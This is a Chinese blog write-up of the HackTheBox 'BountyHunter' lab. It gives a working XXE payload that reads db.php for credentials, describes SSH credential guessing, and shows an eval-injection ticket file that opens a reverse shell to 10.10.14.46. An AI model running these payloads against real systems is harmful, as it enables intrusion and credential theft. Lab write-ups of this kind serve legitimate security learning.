HackTheBox - BountyHunter

本文最后更新于:2022年6月6日 下午

0x01 信息收集

端口信息

image-20210905162026669

目录扫描

image-20210905161800851

0x02 打靶

一通乱点后来到一个后台地址:

image-20210905123140302

提交后在burp中能够发现网站和后台通信的数据:

image-20210905123307253

进行URL解码和BASE64解码后发现是xml:

image-20210905123338095

于是可以试试XXE,首先读取文件:

image-20210905123403065

成功了,接下来可以试试读取别的文件:

image-20210905123428344

但是该读什么文件呢,在之前的扫描目录可以发现db.php,于是尝试读取db.php

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php">
]>
<bugreport>
<title>dfg</title>
<cwe>dfg</cwe>
<cvss>&test;</cvss>
<reward>dfg</reward>
</bugreport>

在拿到Base64字符串后拿去解码,可以拿到账户和密码:

image-20210905124114252

但是之前的扫描端口发现数据库并没有开放外联,但总归是拿到了敏感信息的。然后还开放了ssh,我们可以试着去撞库。

这里我们可以使用/etc/passwd中拿到的账户做字典去跑。但是用户数量比较少我就选择了一个个试,最后试出了development账户:

image-20210905130216528

0x03 提权

在进行一些信息收集后,我使用命令

1
sudo -l

发现存在某个校验票据的脚本:

image-20210905130456254

查看该脚本,该脚本是只读的。但是能够发现脚本使用了危险的函数eval

image-20210905131218741

关键函数截取如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue

if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))

逻辑很好理解,我们需要根据代码执行逻辑一步步走直到eval被执行。于是最后的payload如下:

1
2
3
4
# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+10==__import__('subprocess').call("echo 'sh -i >& /dev/tcp/10.10.14.46/2333 0>&1'>x && bash x && rm -rf x",shell=True)

执行命令并开启监听,即可拿到shell:

1
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

拿到root的shell后在家目录下即可拿到secret:

image-20210905160136136

0x04 参考

https://blog.csdn.net/whatday/article/details/102748376

0x05 Summary

这是一个Easy难度的Linux靶机,主要考察内容如下:

  • XXE
  • 滥用脚本文件

HackTheBox - BountyHunter
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/BountyHunter/
作者
何语灵
发布于
2021年12月7日
许可协议